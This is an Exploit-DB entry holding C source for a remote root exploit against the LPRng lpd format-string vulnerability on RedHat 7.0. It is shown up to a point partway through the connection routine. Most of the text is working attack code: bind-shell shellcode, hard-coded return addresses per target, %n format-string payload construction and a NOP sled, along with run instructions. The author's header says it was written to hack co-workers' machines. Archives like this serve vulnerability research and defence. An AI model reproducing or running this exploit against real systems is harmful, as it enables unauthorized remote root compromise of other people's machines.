Exploit-DB #227
Description: LPRng (RedHat 7.0) - 'lpd' Format String
Type: remote
Platform: linux
Date: 2000-12-11
Author: DiGiT

Exploit:
/*
 *  Copyright (c) 2000 - Security.is
 *
 *  The following material may be freely redistributed, provided
 *  that the code or the disclaimer have not been partly removed,
 *  altered or modified in any way. The material is the property
 *  of security.is. You are allowed to adopt the represented code
 *  in your programs, given that you give credits where it's due.
 *
 * security.is presents: LPRng/Linux remote root lpd exploit.
 * 
 * Author: DiGiT - teddi@linux.is
 * 
 * Thanks to: portal for elite formatstring talent ;>
 * Greets to: security.is, #!ADM
 * 
 * Wrote it because I wanted to hack my co-workers machines ;>
 *
 * Run: ./SEClpd victim brute -t type  
 * Try first ./SEClpd victim -t 0 then try the brute. 
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#define ADDRESS_BUFFER_SIZE   32+4
#define APPEND_BUFFER_SIZE    52
#define FORMAT_LENGTH         512-8
#define NOPCOUNT	      200
#define SHELLCODE_COUNT	      1030
#define DELAY	              50000 /* usecs */ 
#define OFFSET_LIMIT	      5000

char shellcode[] = 
  "\x31\xdb\x31\xc9\x31\xc0\xb0\x46\xcd\x80"
  "\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"
  "\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"
  "\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0"
  "\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"
  "\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"
  "\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75"
  "\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"
  "\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";

struct target
 {
  char *os_name;
  u_long eip_address;
  u_long shellcode_address;
  unsigned int position;
  int written_bytes;
  int align;
};

struct target targets[] =
 {
  { "RedHat 7.0 - Guinesss    ", 0xbffff3ec, 0L, 300, 70, 2,         },
  { "RedHat 7.0 - Guinesss-dev", 0xbffff12c, 0L, 300, 70, 2,         },
  { NULL, 0L, 0L, 0, 0, 0 }
};

static char address_buffer[ADDRESS_BUFFER_SIZE+1];
static char append_buffer[APPEND_BUFFER_SIZE+1];
static char shellcode_buffer[1024];
static char *hostname=NULL;
static int offset;
static struct hostent *he;
int type=-1;
int brute=-1, failure=1;

void calculate_rets(u_long eip_addr, u_long shellcode_addr, u_int previous, u_int addr_loc)
{
   int i;
   unsigned int tmp = 0;
   unsigned int copied = previous;
   unsigned int num[4] =
   {
      (unsigned int) (shellcode_addr & 0x000000ff),
      (unsigned int)((shellcode_addr & 0x0000ff00) >> 8),
      (unsigned int)((shellcode_addr & 0x00ff0000) >> 16),
      (unsigned int)((shellcode_addr & 0xff000000) >> 24)
   };

   memset (address_buffer, '\0', sizeof(address_buffer));
   memset (append_buffer, '\0', sizeof(append_buffer));

   for (i = 0; i < 4; i++)
   {
      while (copied > 0x100)
         copied -= 0x100;

      if ( (i > 0) && (num[i-1] == num[i]) )
         sprintf (append_buffer+strlen(append_buffer), "%%%d$n", addr_loc+i);
      else if (copied < num[i])
      {
         if ( (num[i] - copied) <= 10)
         {
            sprintf (append_buffer+strlen(append_buffer), "%.*s",
               (int)(num[i] - copied), "security.is!");
            copied += (num[i] - copied);
            sprintf (append_buffer+strlen(append_buffer), "%%%d$n", addr_loc+i);         } else {
            sprintf (append_buffer+strlen(append_buffer), "%%.%du",
               num[i] - copied);
            copied += (num[i] - copied);
            sprintf (append_buffer+strlen(append_buffer), "%%%d$n", addr_loc+i);         }
      } else {
         tmp = ((num[i] + 0x100) - copied);
         sprintf (append_buffer+strlen(append_buffer), "%%.%du", tmp);
         copied += ((num[i] + 0x100) - copied);
         sprintf (append_buffer+strlen(append_buffer), "%%%d$n", addr_loc+i);
      }
     
      sprintf (address_buffer+strlen(address_buffer), "%c%c%c%c",
         (unsigned char) ((eip_addr+i) & 0x000000ff),
         (unsigned char)(((eip_addr+i) & 0x0000ff00) >> 8),
         (unsigned char)(((eip_addr+i) & 0x00ff0000) >> 16),
         (unsigned char)(((eip_addr+i) & 0xff000000) >> 24));
   }

   while (strlen(address_buffer) < ADDRESS_BUFFER_SIZE)
      strcat (address_buffer, "X");


#ifdef DEBUG
   printf ("\nGeneration complete:\nAddress: ");
   for (i = 0; i < strlen(address_buffer); i++)
   {
      if ( ((i % 4) == 0) && (i > 0) )
         printf (".");
      printf ("%02x", (unsigned char)address_buffer[i]);
   }
   printf ("\nAppend: %s\n", append_buffer);
#endif

   return;
}

char *create_malicious_string(void)
{
   static char format_buffer[FORMAT_LENGTH+1];
   long addr1,addr2;
   int i;

   memset (format_buffer, '\0', sizeof(format_buffer));

        targets[type].shellcode_address = targets[type].eip_address + SHELLCODE_COUNT;

	addr1 = targets[type].eip_address;
        addr2 = targets[type].shellcode_address;
  calculate_rets (addr1, addr2,targets[type].written_bytes, targets[type].position);
   
   (void)snprintf (format_buffer, sizeof(format_buffer)-1, "%.*s%s",
                   targets[type].align, "BBBB", address_buffer);

   strncpy (address_buffer, format_buffer, sizeof(address_buffer)-1);
   strncpy (format_buffer, append_buffer, sizeof(format_buffer)-1);
	
   for(i = 0 ; i < NOPCOUNT ; i++) 
   strcat(format_buffer, "\x90");

strcat(format_buffer, shellcode);

   return (format_buffer);
}

int connect_victim()
{

   int sockfd, n;
   struct sockaddr_in s;
   fd_set fd_stat;
   char buff[1024]; 

  static char testcmd[256] = "/bin/uname -a ; id ;\r\n";
  
   s.sin_family = AF_INET;
   s.sin_port